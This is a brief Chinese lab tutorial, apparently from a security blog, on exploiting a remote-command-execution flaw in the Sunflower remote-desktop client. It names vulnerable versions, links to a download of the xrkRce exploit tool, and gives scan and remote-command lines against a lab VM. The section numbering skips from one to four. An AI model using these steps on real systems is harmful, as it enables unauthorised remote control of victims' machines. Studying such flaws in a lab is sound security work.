本文内容仅为技术科普，请勿用于非法用途！
一、准备测试环境1.windows虚拟机（内网IP地址172.16.20.68）
2.kali linux （内网IP地址172.16.20.76）
存在漏洞向日葵版本：11.1.1、10.3.0.27372、11.0.0.33162
链接：https://pan.baidu.com/s/19qBlCxvWxhOj3qJd_MVfyw 提取码：xhil四、扫描漏洞
1.这里用的kali，所以下载linux版本，并进行解压；
注意：这里需要给解压后的文件xrkRce所有权限(777)，不然会提示权限不够；
2.进行漏洞扫描，确认存在漏洞的端口；
./xrkRce -h 172.16.20.68
这里发下端口为65326；
3.现在对漏洞进行利用，进行远程命令，查看对方IP；
./xrkRce -h 172.16.20.68 -c "ipconfig" -p 65326 -t rce
注意：这里可能会提示命令【命令执行完毕，但是没有回显】，需要去开启回显【防火墙-高级设置-出站规则-回显】
更多安全分享，请关注【安全info】微信公众号！
